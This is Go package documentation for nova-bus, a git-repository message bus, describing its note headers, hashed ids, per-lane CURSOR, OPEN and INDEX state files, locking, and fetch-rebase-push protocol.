bus

package
v0.15.2 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 13, 2026 License: MIT Imports: 24 Imported by: 0

Documentation

Overview

Package bus is the machinery under nova-bus: the bus's participant config, the note header, the id, the answered rule, the receipts file, and the push protocol. The binary in cmd/nova-bus is flags, dispatch and output grammar over this package.

The bus it works on is a git repository holding one lane directory per sender and one Markdown file per note. This package never invents a path: every entry point takes the bus root from its caller, and the caller took it from a flag.

Nothing here enforces the covenant that everything read on a bus is data and no note is a grant. That sentence is in SPEC.md, where a person reads it, because a tool cannot enforce it and should not pretend to.

Index

Constants

View Source
const (
	// CursorName is the reader's place to stand: the commit they last read to.
	CursorName = "CURSOR"
	// OpenName is the reader's memory of what they were shown and have not answered.
	OpenName = "OPEN"
	// IndexName is the lane's catalogue of the notes it has sent.
	IndexName = "INDEX"
)

The three state files a lane keeps beside its notes, and why a reader's own lane is where they live.

THE PROBLEM. inbox and check walked every lane on every run, so the work of reading a bus grew with the bus's whole history: the ten-thousandth note cost ten thousand parses to find, and the cost of asking "what is new" rose forever while the answer stayed one note. That is the property this file fixes. What a reader needs in order to answer "what is new for me" is a place to stand -- the commit they last read to -- and a memory of what they were shown and have not answered. Both are per reader, both must survive a bench change, and both must be visible to everybody on the bus for the same reason a receipt is: a state kept privately on one machine is a state nobody can check. So they are files in the reader's OWN lane, committed and pushed exactly the way a receipt is, under the same identity and the same fetch-rebase-retry.

CURSOR  one line: the commit this reader last read to, and when they read it.
OPEN    one line per note this reader has been shown and has not yet answered,
        carrying the line that note prints as -- see OpenEntry.
INDEX   one line per note this lane has SENT: id, path, date, To, Re.

CURSOR and OPEN are a reader's own bookkeeping. INDEX is a lane's catalogue, and it is what makes a Re-by-id resolution and an id-uniqueness test a lookup over a few small files rather than a walk over every note on the bus.

None of the three is authoritative about anything. A note is on the bus because the note is on the bus; these files say only what one reader has already seen and what one lane has already written, and every one of them can be rebuilt from the notes (`check --full --rebuild-index`) or removed.

REMOVING THEM IS NOT SYMMETRIC, and the first version of this comment said it was. Deleting CURSOR costs one full read and nothing else. Deleting INDEX costs a rebuild. Deleting OPEN ALONE loses something: the cursor stays valid, so the next run is a cheap one over a change set that no longer holds the notes this reader was carrying, and they are dropped with `open=0` printed as though nothing were owed. That is why the cursor carries the count it was written with (see Cursor.Open) and why an OPEN file that has gone out from under a counted cursor is a refusal naming `--full --advance`, rather than a silence.

View Source
const (
	LegacyDateLayout    = "2006-01-02"
	LegacyInstantLayout = "2006-01-02T15:04:05Z"
)

LegacyDateLayout and LegacyInstantLayout are the two shapes a legacy line takes, in a cursor and in the two flags that write one: a UTC calendar date, which means midnight at its start, or an RFC 3339 UTC instant.

WHY THE INSTANT EXISTS, measured on the hour a family of five switched to this tool. They drew the line at TOMORROW's date, reasonably: nothing written before tomorrow was written under the tool, so the open list would start at zero. It did — and it stayed at zero. A date is midnight at its START, so every note any of them sent that same afternoon was dated before tomorrow's midnight and was therefore legacy: five lines writing to each other all day, and not one note on anybody's open list, not even under `--full`. A date can only ever name a boundary between days, and the boundary they needed was a MOMENT -- the moment they switched, which they knew to the second and could not say.

So the line takes either, and the comparison is by instant in both cases: a date is the instant of its own midnight, which is exactly what it always meant, and an instant is itself. The date form is kept because the thing usually being drawn IS a day a bus adopted a tool, nobody knows that to the second, and every cursor already on a bus holds one.

The instant is required to end in `Z` and not an offset. A switch-day line is compared against note dates that are all UTC, and a line written `+10:00` would be read correctly and reviewed wrongly by the person who has to check it against a filename.

View Source
const (
	PlaceholderSubject = "<one line saying what this note is about>"
	PlaceholderBody    = "<the note goes here>"
)

PlaceholderSubject and PlaceholderBody are what `draft` writes where it has nothing to write. They are ANGLE-BRACKETED on purpose: a skeleton sent without being edited says so in its subject line and in its body, where a plausible-looking default would have been sent and read as a real note.

View Source
const (
	// TrailerKey is the trailer's key.
	TrailerKey = "Nova-Bus"
	// TrailerSend, TrailerReceipt and TrailerCursor are the three things this tool commits.
	// A send carries the note's id after the word, so the log says which note.
	TrailerSend    = "send"
	TrailerReceipt = "receipt"
	TrailerCursor  = "cursor"
	// TrailerCommit is what stageAndCommit stamps a message that arrived without one, so
	// that no commit this tool makes can be mistaken for a person's.
	TrailerCommit = "commit"
)

EnsureLevelWith fetches the remote branch and refuses when this checkout is AHEAD of it.

The failure it closes is silent and large: `git push` publishes a branch, so a send from a checkout holding three unrelated local commits would put all three on the bus under the note's push. That is somebody else's unfinished work published by a tool they did not run, and no output line said so. The count is taken BEFORE anything is staged, so the refusal costs the caller nothing but the fetch.

The fetch is also the run's first fetch, which is why it is here rather than in the retry loop: the push protocol's first attempt is then made against a remote this checkout has already seen. The trailer every commit this tool makes carries, and the whole of how a later run knows its own work.

THE WEDGE IT CLOSES, from the scenario run that found it. Five lines sent three notes each at once with a budget of three attempts. Fifteen were sent and six landed; the three lines that lost the race were then WEDGED, because their failed push had left its commit on the branch and the next `send` refused with "branch is ahead of origin/main by 1 commits the tool did not make". The tool HAD made it. The guard could not tell its own unpushed commit from somebody else's unfinished work, so it refused the one recovery it was built to perform, and a person had to push by hand -- which is the failure this whole tool exists to end, arriving from inside it.

So every commit is stamped, and the guard reads the stamp. A commit in the ahead range carrying `Nova-Bus:` is one of ours, left behind by a push that could not land, and the next push CARRIES it: a push publishes the branch, and the branch is exactly the notes this tool has written and not yet landed. A commit WITHOUT the trailer is the thing the guard was always for -- somebody's half-finished work that a note's push would publish under a name they did not run -- and it is still a refusal.

The trailer is a git trailer rather than a marker in the subject because `git log --format=%B` shows it, `git interpret-trailers` reads it, and a person reading the log sees a line that says what made the commit.

View Source
const (
	KeyFrom    = "From"
	KeyTo      = "To"
	KeyCc      = "Cc"
	KeyDate    = "Date"
	KeyID      = "Id"
	KeyRe      = "Re"
	KeySubject = "Subject"
	KeyKind    = "Kind"
)

The header keys this tool knows. An unknown key is a refusal at send and a FAIL at check, because the failure it guards is real and silent: a note whose "Sbuject:" line was accepted as prose has no subject, and a note whose "Rf:" line was accepted has no thread.

View Source
const (
	KindReceipt = "receipt"
	KindNote    = "note"
)

KindReceipt and KindNote are the two values of the optional Kind line, which overrides the receipt heuristic in either direction.

View Source
const AttributesName = ".gitattributes"

AttributesName is the file at the bus ROOT that tells git how to merge the two lane files this tool only ever appends to.

View Source
const ConfigName = "participants.json"

ConfigName is the file, at the bus root, that lists who is on the bus. The name is fixed rather than a flag because it is a property of the bus, not of an invocation: two lines running this tool over one bus must read one roster, and a --config flag would let them disagree about who exists. The bus root itself is always a flag.

View Source
const DateLayout = "Mon Jan  2 15:04:05 UTC 2006"

DateLayout is how send writes the Date line: the same shape `date -u` prints, which is what the bus's people have been pasting by hand, so a tool-written note and a hand-written one read alike.

View Source
const DefaultGitTimeout = 60 * time.Second

DefaultGitTimeout is how long ONE git subprocess may run before this tool stops waiting on it, kills it, and refuses naming the call.

THE FAILURE IT CLOSES: a git that never returns. A fetch or a push to a remote that accepts the connection and then says nothing hangs forever, and every guard in this file -- the branch-ahead refusal, the retry budget, the lock -- is downstream of a subprocess that returns. A tool a person is waiting on that has stopped saying anything is indistinguishable from a tool that is working, which is the same shape as every other silence this file exists to end. Sixty seconds is a fetch of a bus's whole history on a slow link and far more than any local call; --git-timeout moves it.

View Source
const FileTimeLayout = "2006-01-02T1504Z"

FileTimeLayout is the UTC minute in a note's filename.

View Source
const LaneDocName = "README.md"

LaneDocName is the one file in a lane that is neither a note nor a state file and is still allowed there.

A README.md IS NOT A NOTE, and until this was written it was read as one: it ends in `.md`, it sits in a lane, so the lane walk parsed it, it had no `From:` line, and every reader on the bus was told `INBOX UNREADABLE` about it forever while `check` failed the whole bus over it. On a real bus it was the single file that failed at every date -- the one finding the legacy tolerance could not forgive, because a README genuinely cannot say when it was written and genuinely is not a note.

So a lane may hold exactly one non-note, non-state file: `README.md`, the file a person opening the lane in a browser reads first. It is stepped over by the lane walk, by the incremental check and by the change-set read alike. The list is ONE name and is not a general licence: a `NOTES.md` or a `readme.md` in a lane is a stray like any other, because a tolerance whose width is "whatever looks like documentation" is not a rule.

View Source
const LanePathspec = ":(glob)from-*/**"

LanePathspec is the pathspec that means "every file inside a lane".

The `:(glob)` magic is load-bearing and was found the hard way. Without it, git matches a pathspec with fnmatch and `*` matches `/` as well, so a plain `from-*` also catches a top-level `from-notes.txt` -- and `from-*/`, the shape that reads like a directory, matches NOTHING AT ALL, because a wildcard pathspec must match the whole path and no path ends in a slash. That last one is the dangerous spelling: it is the obvious thing to write, it fails silently, and what it reports is an empty change set, which every reader downstream would have shown as "nothing new". Under `:(glob)`, `*` stops at a slash and `**` crosses one, so this is exactly "one directory whose name begins with from-, then anything under it".

View Source
const LockName = "nova-bus.lock"

LockName is the lock file, in the checkout's git directory.

View Source
const OpenHeader = "OPEN v2"

OpenHeader is the first line of an OPEN file, and the whole of the version handshake.

It is here because the format CHANGED under readers that already have one: a v1 entry is `<id or -> <path>`, a v2 entry is eight tab-separated fields, and a v1 line read as v2 would be one field -- a path with no id, no kind and no date, which a run would then print as a note nobody sent and carry forever. The cursor could not catch it either: a v1 OPEN beside a counted cursor is exactly the state a healthy v2 reader is in. So the file says its own version on its first line, a file without it is refused at the read, and the refusal names `--full --advance`, which writes the list again from the whole bus. That is the same repair, and the same words, as an OPEN that went missing.

View Source
const PreparedSchema = "nova.bus.prepared/1"

PreparedSchema is the exact schema identifier for prepared bus delivery artifacts.

View Source
const ReceiptStampLayout = "2006-01-02T15:04:05Z"

ReceiptStampLayout is how a receipt line writes its time: RFC 3339 in UTC, which holds no spaces, so the rest of the line is the target and a target with a space in it still parses.

View Source
const ReceiptsName = "RECEIPTS"

ReceiptsName is the file, in a sender's own lane, that records notes heard without a reply. It is one file per lane and append-only, so two lines recording receipts at the same moment touch different files and cannot conflict.

View Source
const ReplyPrefix = "Re: "

ReplyPrefix is what a reply's subject is conventionally written with, and it is stripped from BOTH sides before two subjects are compared. `Re: the merge queue` names the note whose subject is `the merge queue`, and it also names the one whose subject is already `Re: the merge queue` -- which is the second turn of a thread and the case where a line writing by hand copies the subject it is looking at.

View Source
const SlugMax = 60

SlugMax is how long the human half of a filename may be. Long enough to read, short enough that a lane lists on one screen.

View Source
const TempSuffix = ".tmp"

TempSuffix is what replaceLaneFile writes through before it renames. A run killed between the write and the rename leaves one behind, so the name is reserved rather than random: the lane walk steps over `CURSOR.tmp` instead of reporting it as a stray file, and a person who finds one can delete it knowing what it was.

Variables

View Source
var ErrLockHeld = errors.New("lock held")

ErrLockHeld indicates that the requested lock could not be acquired within the wait duration.

View Source
var ErrNoFrom = fmt.Errorf("no %s line", KeyFrom)

ErrNoFrom is a header with no From line at all, as a value rather than a sentence, because SEND says one more thing about it than a reader does: that --as will write the line. Wrapping it there keeps the two from drifting into two different sentences about the same missing line.

KnownKeys is the header's whole vocabulary, in the order send writes it. It is a list rather than a set because a refusal names it: a writer told only that their key is unknown has to go and find the eight that are not, and the eight fit on the line.

Functions

func AppendIndexLine

func AppendIndexLine(root string, e IndexEntry) error

AppendIndexLine adds one record to a lane's INDEX. Append-only, like RECEIPTS: a sender only ever adds to their own lane, so two DIFFERENT senders writing at once touch different files and cannot conflict.

TWO BENCHES OF ONE LANE DO CONFLICT HERE, and both of them land anyway. Append-only is not conflict-free: both benches add a line at the end of the same file over the same base, git's three-way merge sees an edit/edit at that spot, and the rebase in CommitAndPush stops. Before this file existed, two sessions of one line sending different notes rebased CLEAN -- the note paths differed and nothing else was touched -- so the catalogue widened the conflict surface.

It used to be documented and left there, and the scenario run showed what that cost: the tool aborted cleanly and said so, and the bench was then WEDGED, because the person's own `git pull --rebase` landed in a half-done rebase with `UU from-<lane>/INDEX` and nothing on the bus saying what to do next. So the conflict is settled instead, by union, in two places -- the `merge=union` attribute this tool writes at the bus root (attributes.go) and the tool's own resolution during its own rebase (conflict.go), because the attribute only reaches a checkout once it has been pulled. Both sides' lines land, identical lines once, and neither bench is left with anything to rescue.

The shapes that would remove the conflict rather than settle it -- one INDEX file per bench, or one file per note named by its id -- both trade a conflict that is now automatic for a lane directory whose file count grows with its notes, which is the cost the catalogue exists to avoid, and neither can be adopted without changing the layout of every bus already running this tool.

func AssignID

func AssignID(c *Config, sender Participant, h Header, body string, date string) (string, error)

AssignID computes the id for a note about to be sent.

THE ID SCHEME, and why this one. The id is the sender's lane slug, a hyphen, and the first twelve hex digits of a sha256 over a canonical rendering of the note: the sender, the date the tool is about to write, the resolved recipients, the Re targets, the subject, the kind, and the normalized body.

Why a hash and not a counter. A counter is shared state on a bus whose whole problem is shared state: two senders writing in the same second would read the same counter and assign the same number, which is the collision this id exists to remove, and resolving it would need exactly the lock the bus does not have. A hash is computed with no knowledge of anyone else's notes, so two lines racing cannot collide, and the id can be assigned before the first fetch.

Why the whole canonical note and not the body alone. A body alone would give one sender writing "Heard, thank you" twice the same id -- which is a real event on a bus of receipts, and would make the second note unsendable rather than merely unremarkable. The date is in the preimage at second granularity, so the same sender saying the same thing in two different seconds gets two ids, and a genuine collision means the same sender sent the same note to the same people in the same second, which is one note.

Why the recipients are RESOLVED before hashing: so that a note whose To line says "Ada Vale" and one whose To line says "Ada a1b2c3d4" are not accidentally different notes at the id layer while being the same note to every reader.

The id is rename-proof by construction: it is written into the file at send and is never recomputed. Renaming the file, moving it, or fixing its slug changes nothing a Re line depends on -- which is the failure this replaces, where a slug typo orphaned an answer.

func ChangedSince

func ChangedSince(dir, commit string) ([]string, error)

ChangedSince is the whole of the O(new) claim, and it is one git command:

git diff --name-only -z --diff-filter=AM --no-renames <commit>..HEAD -- ':(glob)from-*/**'

It returns the lane files ADDED or MODIFIED since the cursor, and its cost is proportional to the CHANGE rather than to the history: git walks the two trees and stops at every subtree whose object id is equal on both sides, so a bus of ten thousand notes with one new one names one path. Every part of the command line is load-bearing:

  • --diff-filter=AM, because a deleted note is not a new note;
  • --no-renames, because git's rename detection is on by default and would report a renamed note as R, which AM excludes -- so a note that moved would go unread. With renames off it is a D and an A, and the A is the one that matters;
  • -z, because --name-only QUOTES a path holding a space or a non-ASCII byte, and a quoted path does not match a file on disk;
  • the pathspec, because the bus's own machinery -- a README, a CI file, the roster -- is not a note, and reading one as a note would be a parse failure reported to every reader on the bus.

func CheckSince

func CheckSince(root string, c *Config, idx *Index, changed []string, o CheckOptions) ([]Problem, CheckStats)

CheckSince validates only the lane files that changed since a commit, resolving threads and ids through the INDEX instead of through the bus.

It asserts everything Check asserts that can be decided about one file plus the catalogue. It also validates the lane state files that changed, because those are files on the bus like any other and a malformed OPEN is a reader who refuses on their next run with nothing on the bus saying why.

What it CANNOT assert, and says so by being named `--since` rather than `check`: a property of the WHOLE bus. An unowned lane that nothing touched, a stray file that has been there a month, a duplicate id between two notes neither of which changed and neither of which is in an INDEX -- those are found by `check --full`, which is what CI on main runs and what a bus runs before it trusts a first `--since`.

func CurrentBranch

func CurrentBranch(dir string) (string, error)

CurrentBranch is the checked-out branch, or an error on a detached HEAD.

func CursorPath

func CursorPath(lane string) string

CursorPath, OpenPath and IndexPath are the repo-relative paths of a lane's state files.

func CursorPresent added in v0.10.1

func CursorPresent(root, lane string) bool

CursorPresent reports whether a lane has a CURSOR file at all, which is a different question from whether it READS: a cursor this tool cannot parse is present.

The distinction is load-bearing for exactly one caller, the first-advance guard in cmd/nova-bus. That guard fires on a reader who has never advanced, and "never advanced" has to mean "no CURSOR file", not "no cursor I could read" -- because `--full --advance` is the documented repair for a cursor that will not read, and a repair that a guard refuses to run is not one.

func EnsureClean

func EnsureClean(dir string, allow []string) error

EnsureClean refuses to run the protocol over a checkout holding changes that are not the note being sent.

This is not tidiness. The retry loop rebases, and a rebase over a dirty tree either refuses or sweeps somebody's unrelated work into a note's commit. Both are worse than stopping here and saying which files are in the way.

THE RECORD FORMAT, because getting it wrong here reads as clean. `--porcelain -z` emits "XY <path>\0" per change -- EXCEPT for a rename or a copy, where the new path is in that record and the OLD path follows as a second, separate NUL-terminated record with no status bytes of its own. A reader that treats every record alike takes that bare old path, strips three characters off the front of it, and reports a change to a file that does not exist -- or, when the path is under four characters, drops the whole rename on the floor and calls a dirty checkout clean. So renames are consumed as the pair they are, and BOTH halves must be permitted for the pair to be allowed.

func EnsureLevelWith

func EnsureLevelWith(dir, remote, branch string) error

func EnsureMergeAttributes

func EnsureMergeAttributes(root string) (bool, error)

func EnsureMergeAttributesFrom added in v0.15.0

func EnsureMergeAttributesFrom(root, base string) (bool, error)

EnsureMergeAttributesFrom reconciles .gitattributes against a verified base: the bytes the remote tracking ref currently holds. The expected content derives from that base, never from whatever partial bytes a killed recovery left on disk, so a truncated comment or rule is completed to the standard bytes rather than kept. The on-disk file is completed only when it is an exact prefix of the expected bytes; any other content is the caller's foreign-byte refusal (verifyPermittedDeltas already refuses it, and the check is repeated here so this helper is safe on its own).

It reports whether the base lacks the complete standard contribution -- which is whether the caller must stage the attributes delta -- even when the working tree already held the complete bytes. A remote that already carries both rules, whatever else it carries, is a no-op.

func ExpectedMergeAttributes added in v0.15.0

func ExpectedMergeAttributes(existing string) (string, bool)

EnsureMergeAttributes puts the union rules on the bus if they are not there, and reports whether it wrote anything -- which is the caller's cue to add AttributesName to the paths its commit names.

A bus that already has a .gitattributes for its own reasons is APPENDED to rather than replaced: the file belongs to the bus and this tool owns two lines of it. A bus that already carries both rules is left exactly as it is, so this is a no-op on every send but the first. ExpectedMergeAttributes calculates the expected content of .gitattributes after ensuring the required merge attribute rules are present. It returns the expected content and whether any changes were made.

func FetchAndFastForward added in v0.10.2

func FetchAndFastForward(dir, remote, branch string) (bool, error)

FetchAndFastForward fetches remote/branch and moves this CHECKOUT onto what arrived, when that move is a fast-forward. It reports whether the checkout moved.

It is the read half of the push protocol above, and `wait` is what needs it. A verb that blocks until a note arrives has to go and look, and looking means the fetch AND the checkout: every read in this tool -- the diff from a cursor, the parse of a new note, the open list -- reads the working tree, never a remote-tracking ref. A poll that fetched and stopped there would wait forever beside a bus full of notes.

A FAST-FORWARD AND NEVER A MERGE OR A REBASE. This is a read. A read that rewrote a bench's own commits, or left a conflict in a checkout somebody is working in, is not a read, and `wait` may run for the better part of an hour with nobody watching it. So:

  • the checkout is already at what arrived, or holds only commits the remote also has: nothing to do, moved=false;
  • the checkout is BEHIND: `git merge --ff-only`, which touches no commit and which git itself refuses if it would clobber a change in the working tree;
  • the checkout is AHEAD, holding commits of its own that are not on the bus: nothing to do either. There is nothing on the bus this checkout has not already got, and a send that could not land is the caller's to land, not a poll's.
  • the two have DIVERGED: a refusal naming the recovery, because a run that read a history nobody else has would report an inbox nobody else can see.

func FileName

func FileName(now time.Time, slug, id string) string

FileName is the note's filename: the UTC minute, the slug, and the hash half of the id.

The minute is the bus's existing convention and is for people. The id's hash half is appended because the minute alone collided -- one sender writing twice inside one minute overwrote their own note -- and because a name carrying the id lets a person find a note by the id they were given without opening anything.

func GitDir

func GitDir(dir string) (string, error)

GitDir is the checkout's git directory. It is asked of git rather than assumed to be `<bus>/.git`, because in a linked worktree and in a submodule `.git` is a FILE naming the directory elsewhere, and both are legitimate places to keep a bus.

func HasExactTrailer added in v0.15.0

func HasExactTrailer(message, what string) bool

HasExactTrailer reports whether a commit message carries the exact trailer key and value.

func HasTrailer

func HasTrailer(message string) bool

HasTrailer reports whether a commit message carries the trailer. It scans every line rather than only the last paragraph, because a rebase, a cherry-pick or a person editing a message can add lines under it, and a commit this tool made does not stop being one.

func HeadCommit

func HeadCommit(dir string) (string, error)

HeadCommit is the commit a cursor advances TO.

func IndexLine

func IndexLine(e IndexEntry) string

IndexLine renders one INDEX record.

The fields are separated by TABS and each is rendered through the repo's own one-line escape, so a roster name or a subject holding a tab or a newline cannot make one record look like two. It is the same guarantee the printed lines have, applied to a file, because this file is read back by a program.

An absent value is written "-" rather than left empty, which is the same convention the printed grammar uses and is here for a mechanical reason as well as a readable one: a record ending in an empty field ends in a TAB, and a trailing tab is invisible, is stripped by half the editors a person might open this file in, and would turn a five-field line into a four-field one that this reader then refuses.

THE ONE EDGE THIS SHAPE DOES NOT CLOSE, named because a silent one is worse than a known one: the To and Re lists are joined with ";" and split back on ";", so a LEGACY note whose repo-relative PATH holds a semicolon -- the only value in either list that is not a roster name or an id, and one written before this tool existed and therefore under no rule of its own -- round-trips through the catalogue as two targets rather than one. The consequence is bounded: the thread resolves by path from the filesystem instead (see Index.resolves), and a check reports the halves as dangling rather than resolving them wrongly. Fixing it means escaping the separator as well as the field, which is a format change to every INDEX on every bus; it is not worth that for a filename nobody has written yet, and the day one is written this comment is where to start.

func IndexPath

func IndexPath(lane string) string

func IsAncestor

func IsAncestor(dir, commit string) (bool, error)

IsAncestor reports whether commit is reachable from HEAD.

This is the guard on a cursor, and the failure it closes is a quiet one. A cursor is a promise that everything up to it has been read; that promise is only meaningful while the commit is still on the branch. After a history rewrite -- a rebase of the bus, a force-push, a squash -- the commit named is either gone or on a line nobody is on, and a diff taken from it reports changes that are not changes and misses notes that are. So a cursor that is not an ancestor of HEAD is a REFUSAL with --full named in it, never a best effort: a reader told "nothing new" by a broken cursor has been lied to in exactly the way this whole tool exists to stop.

func IsReceipt

func IsReceipt(n Note, maxWords int) bool

IsReceipt decides whether a note only acknowledges.

THE HEURISTIC, stated so it can be argued with: a note is a receipt when its Kind line says so; a note is a note when its Kind line says so; and with no Kind line, a note is a receipt when its body is UNDER maxWords words, contains one of the acknowledgement words (heard, received, receipt, ack, acked, acknowledged, acknowledge, noted), and contains no question mark. The word count comes from the caller because it is a property of how a bus writes, not of this tool -- a bus of two-line notes and a bus of essays do not share a threshold, and a number this tool supplied would make a guess look like a measurement.

It is a heuristic and it is wrong sometimes, in both directions. That is why the Kind line exists and why it wins: the override is one line in the header, costs the writer nothing, and is the only thing here that is not a guess.

func IsReplySubject added in v0.10.3

func IsReplySubject(s string) bool

IsReplySubject reports whether a subject is written as a reply's.

This one IS case-insensitive, and it is the only thing here that is. It decides whether to print a NOTE -- a sentence suggesting the writer may have meant to name a note -- and a suggestion that fires on `RE:` as well as `Re:` costs a reader one line they can ignore, where missing it costs them the open note the whole file is about.

func IsRepoRoot

func IsRepoRoot(dir string) error

IsRepoRoot reports whether dir is the ROOT of a git work tree, so a bus root that is merely a directory of Markdown is refused with that as the reason rather than with git's -- and so is a bus that is a SUBDIRECTORY of somebody else's repository.

THE FAILURE THIS CLOSES, which was silent and is the worst shape a failure here can have. The first version asked git only `rev-parse --is-inside-work-tree`, which is true anywhere under a repository. Point --bus at `docs/bus` inside a larger repo and every verb ran: `git diff --name-only` reports paths relative to the REPOSITORY ROOT, so a new note came back as `docs/bus/from-bo/x.md`, the `from-` prefix guard in ChangedSince dropped it, and `inbox --since` and `check --as` reported an EMPTY change set and exited 0 over unread notes. Nothing in the output said the bus had not been looked at. That is precisely the lie this whole tool exists to stop, so a --bus that is not the root of its own repository is a refusal that names the root it found.

The test is `git -C <bus> rev-parse --show-toplevel` compared with --bus, with symlinks resolved on BOTH sides -- the repo's own idiom, from `nova-check nocode --staged` (SPEC.md), and it is the same test for the same reason: never a test for `.git` being a directory, which is false in a linked worktree and in a submodule, both of which are legitimate places to keep a bus. On this platform /var is a symlink to /private/var, so a --bus under TMPDIR would otherwise disagree with git about its own name.

func LegacyDateAtOrAfterToday added in v0.10.2

func LegacyDateAtOrAfterToday(text string, now time.Time) (drawn, hides time.Time, yes bool)

LegacyDateAtOrAfterToday is the shape of switch-day line that quietly empties an inbox, and it is the reason this tool now says so out loud instead of listing nothing.

THE FAILURE, from a friend's first week. A line drew its switch at a DATE -- the shape v0.10.0's own first-advance guard handed out, tomorrow's -- and a date is midnight at its START, so the line stood in front of everything anybody had written that day. His cursor read `open=0 legacy=2026-09-10` and his inbox listed nothing, run after run, on a bus that was busy. Nothing was broken and nothing was lost: every note was still on the bus, behind a line he had drawn himself and had no way to see. What was missing was a SENTENCE. The tool knew the line was a date, knew the date was still to come, and knew the one command that would fix it, and it said none of the three.

So this is the test the sentence is printed under, and it is a test about the LINE and never about what a run found: an empty inbox is not evidence of anything, and a reader whose line is drawn forward is owed the sentence on the busy runs too.

It returns the day the line is drawn on, the last day that line hides -- the day BEFORE it, because a date is midnight at its start -- and true, for a line that is BOTH:

  • a bare DATE, and not an instant. An instant was drawn to the second by somebody who meant a moment; whatever it hides, they said where it stood.
  • standing at TODAY or later in UTC. A date at today took the whole of yesterday, a date at tomorrow takes the whole of today, and each was drawn at a day boundary for a switch that happens at a moment. A date already behind today is history properly drawn -- the day a bus adopted a tool, months ago, which nobody knows to the second -- and there is nothing to say about it.

Everything else is false, the empty line included.

func LockCheckout

func LockCheckout(busDir string, wait time.Duration) (func(), error)

LockCheckout takes this checkout's lock, waiting up to wait for it, and returns the release. The release is safe to call more than once.

A bus that is not a git checkout at all has nothing to lock and is not locked: the only verbs that reach one are the full reads, which write nothing, and refusing them for the want of a `.git` would be refusing a bus for a reason that is not about the bus.

func LockFile added in v0.11.0

func LockFile(path string, wait time.Duration) (func(), error)

LockFile takes an exclusive advisory lock on path, waiting up to wait for it, and returns the release function. The release is safe to call more than once.

On Unix this is an flock (advisory lock) that dies with the process. On Windows this is an O_EXCL sentinel file (.held).

When the lock is taken, LockFile stamps the current process PID into the file so waiters and refusals can name the holder. If wait is 0, LockFile attempts to acquire the lock once without waiting. If wait > 0, LockFile polls every 25ms until the deadline. If the lock cannot be acquired within wait, it returns an error wrapping ErrLockHeld.

func NormalizeBody

func NormalizeBody(body string) string

NormalizeBody is the body as the id sees it: CRLF folded, trailing whitespace off every line, and no trailing blank lines. Editors add and remove exactly these, and an id that changed when an editor saved the file would not be an id.

func NoteParses

func NoteParses() int64

NoteParses is how many notes this process has parsed. Tests take it before and after a run and assert on the difference; nothing else reads it and nothing branches on it.

func OneLine added in v0.10.1

func OneLine(what, value string) error

OneLine refuses a value that would not survive being written on a header line: a newline in a --subject would forge a header line under it, and a line separator would break the file for every reader that follows Unicode rather than counting newlines. The check is here rather than at the flag because it is a property of the header.

func OpenLine

func OpenLine(e OpenEntry) string

OpenLine renders one open entry.

func OpenPath

func OpenPath(lane string) string

func OpenPresent

func OpenPresent(root, lane string) bool

OpenPresent reports whether a lane has an OPEN file at all, which is a different question from whether it holds anything. See Cursor.Open.

func ParseLegacyBefore added in v0.10.1

func ParseLegacyBefore(value string) (time.Time, error)

ParseLegacyBefore reads a switch-day line, in either shape, as the moment it names. It is the ONE place either shape is read -- the two flags, a cursor at the read, and a cursor at the write all come here -- so no two of them can accept different spellings of a line, and the error names both shapes because a caller who got one wrong wants to be told the other.

func ReadLockHolder added in v0.11.0

func ReadLockHolder(path string) string

ReadLockHolder reads the pid written into the lock file by its holder. It handles both bare "<pid>" and "pid=<n> at=<stamp>" formats. If unreadable, empty, or missing, returns "-".

func Reasons added in v0.10.1

func Reasons(err error) []error

Reasons is every reason inside an error, whether it carries one or many, so a caller printing a refusal prints all of it without knowing which kind it holds.

func RebuildLaneIndex

func RebuildLaneIndex(root string, c *Config, t *Bus, lane string) (int, error)

RebuildLaneIndex writes a lane's INDEX from the notes on disk, replacing whatever was there. It is a REPAIR and is only ever reached through `check --full --rebuild-index`, which is a thing a person asks for and watches: it rewrites a file rather than adding to one, and a rewrite of shared state is not something a report should do on its own.

A note with no id contributes no line. A legacy note is addressed by path, everywhere, and putting it in a catalogue keyed on ids would be inventing an id for it.

func RenderPreparedArtifact added in v0.15.0

func RenderPreparedArtifact(p Prepared) (string, error)

RenderPreparedArtifact returns the JSON artifact string ending with LF.

func ReplySubject added in v0.10.3

func ReplySubject(s string) string

ReplySubject is one subject reduced to what is compared: a leading `Re: ` removed, and the surrounding space with it.

It is CASE-SENSITIVE past that point, on purpose and against the grain of most mail tools. A subject on this bus is a line of prose written by a person, `the gate` and `The Gate` are two different notes on a busy lane, and a tool that folded them would close the wrong one and say it had closed the right one. The prefix itself is matched case-sensitively for the same reason it is written that way everywhere else here.

func ResolveCommit

func ResolveCommit(dir, rev string) (string, error)

ResolveCommit turns a revision into the full commit it names, so that everything downstream of a --since is a sha and the sha is what the output reports.

func SetGitTimeout

func SetGitTimeout(d time.Duration) error

SetGitTimeout sets the per-subprocess budget. It is called once, from the flags, before anything runs git.

func SingleOpenSender added in v0.10.3

func SingleOpenSender(c *Config, to string, open []OpenEntry) string

SingleOpenSender is the one correspondent a To line names when they are waiting on this reader, and "" in every other case: a To line naming two people, a To line naming somebody with nothing open, an unreadable To line, a group.

It is the second half of the guess in `send`'s NOTE, and it is deliberately the narrow half. A note to one person who is holding an open note to you is, far more often than not, the answer to that note; a note to five people is a broadcast and says nothing about any of them.

func SlugOfID

func SlugOfID(id string) string

SlugOfID is the sender half of an id.

func Slugify

func Slugify(subject string, max int) string

Slugify turns a subject into the filename's human half. It is deterministic and lossy on purpose: the slug is for people, and the id is for machines.

func SplitDraft added in v0.10.1

func SplitDraft(text string) []string

SplitDraft is a note's text as lines, with the byte-order mark off the front and CRLF folded. Both the reader and send's tolerances start here, so the two cannot disagree about what a line is.

func StagePaths

func StagePaths(dir string, paths []string) ([]string, error)

StagePaths trims a list of repo-relative paths to the ones `git add` can be asked for.

`git add -- <path>` FAILS, exit 128, when the pathspec matches nothing on disk and nothing in the index. That is the right behaviour for a note -- a send that wrote no file should not commit -- and it is exactly wrong for a lane's OPEN list, which is legitimately absent whenever a reader has nothing open. A reader's very first advance with an empty inbox hit that: the run listed the inbox correctly and then died on `pathspec 'from-ada/OPEN' did not match any files`.

So a path is staged when it exists on disk (a write) or when git already tracks it (a deletion this run made, which must be staged or the file comes back), and is dropped when it is neither, because there is nothing there to record.

func Transcript

func Transcript(err error) string

Transcript is the transcript an error carries, or "" for an error that carries none. It is how a caller prints git's own output beside a refusal without knowing which error type produced it.

func UnaddressedReason

func UnaddressedReason(c *Config, n *Note) (string, bool)

